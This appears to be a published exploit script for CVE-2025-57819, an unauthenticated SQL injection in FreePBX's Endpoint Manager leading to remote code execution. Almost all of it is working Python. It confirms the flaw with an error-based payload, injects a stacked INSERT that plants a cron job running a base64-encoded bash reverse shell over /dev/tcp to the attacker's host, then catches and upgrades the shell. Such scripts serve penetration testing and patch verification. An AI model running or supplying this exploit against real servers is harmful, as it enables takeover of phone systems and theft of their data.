# Exploit Title: FreePBX 17.0.2 - Remote Code Execution
# Date: 2026-08-12
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.freepbx.org/
# Software Link: https://github.com/FreePBX/freepbx
# Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3
# Tested on: Linux (Debian/Ubuntu) with Asterisk
# CVE: CVE-2025-57819
# CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass)
# CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819
# References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
#
# Description:
# CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the
# Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the
# /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries.
#
# An unauthenticated attacker can exploit this by sending a crafted GET request that injects
# arbitrary SQL commands. Because the application uses stacked queries (multiple statements
# separated by semicolons), an attacker can execute an INSERT statement to add a malicious
# cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with
# administrative privileges (typically as the Apache user), leading to full remote code
# execution on the underlying server.
#
# The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89,
# and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is
# listed in CISA's Known Exploited Vulnerabilities catalog.
#
# This exploit automates the process by:
# 1. Validating the target is vulnerable using an error-based SQLi detection.
# 2. Starting a reverse shell listener on the attacker's machine.
# 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi.
# 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell.
#
# Usage:
# python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444
import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console
console = Console()
def banner():
console.print("[cyan]CVE-2025-57819 • FreePBX Unauth SQLi → RCE[/cyan]")
console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]")
console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]")
print()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def validate_sqli(target_url):
vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
params = {
'module': 'FreePBX\\modules\\endpoint\\ajax',
'command': 'model',
'template': 'x',
'model': 'model',
'brand': payload
}
try:
response = requests.get(vuln_url, params=params, verify=False, timeout=15)
if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
console.print("[green][+][/green] Exploit path confirmed!")
return True
else:
console.print("[red][-][/red] Target immune – no vulnerable signature detected.")
return False
except Exception as e:
console.print(f"[red][-][/red] Probe failed: {e}")
return False
def start_listener(lhost, lport):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind((lhost, lport))
except Exception as e:
console.print(f"[red][-][/red] Listener deployment failed: {e}")
sys.exit(1)
server.listen(1)
console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
client, addr = server.accept()
console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")
pty_attempts = [
b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
b"script -q /dev/null /bin/bash\n",
]
for cmd in pty_attempts:
client.send(cmd)
time.sleep(0.5)
console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")
def reader():
while True:
try:
data = client.recv(4096)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except:
break
recv_thread = threading.Thread(target=reader)
recv_thread.daemon = True
recv_thread.start()
try:
while True:
cmd = input()
if cmd.lower() == 'exit':
client.close()
break
client.send((cmd + "\n").encode())
except (EOFError, KeyboardInterrupt):
print()
console.print("[yellow][!][/yellow] Forced session termination.")
client.close()
except Exception as e:
console.print(f"[red][-][/red] Channel error: {e}")
client.close()
console.print("[blue][*][/blue] Remote session closed.")
def exploit(target_url, lhost, lport):
banner()
console.print(f"[blue][*][/blue] Target locked: {target_url}")
listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
listener_thread.daemon = True
listener_thread.start()
time.sleep(1)
if not validate_sqli(target_url):
console.print("[red][-][/red] Exploit aborted – target not vulnerable.")
sys.exit(1)
shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
hex_payload = final_cmd.encode().hex()
sql_payload = (
f"x' ;INSERT INTO cron_jobs "
f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
)
vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
params = {
'module': 'FreePBX\\modules\\endpoint\\ajax',
'command': 'model',
'template': 'x',
'model': 'model',
'brand': sql_payload
}
console.print("[blue][*][/blue] Injecting payload into cron schedule...")
try:
response = requests.get(vuln_url, params=params, verify=False, timeout=15)
if response.status_code in (200, 500):
console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
else:
console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.")
console.print(response.text[:200])
sys.exit(1)
except Exception as e:
console.print(f"[red][-][/red] Injection delivery failed: {e}")
sys.exit(1)
console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...")
listener_thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi → RCE")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
parser.add_argument("--lhost", required=True, help="Listener IP address")
parser.add_argument("--lport", type=int, required=True, help="Listener port")
args = parser.parse_args()
exploit(args.url, args.lhost, args.lport)
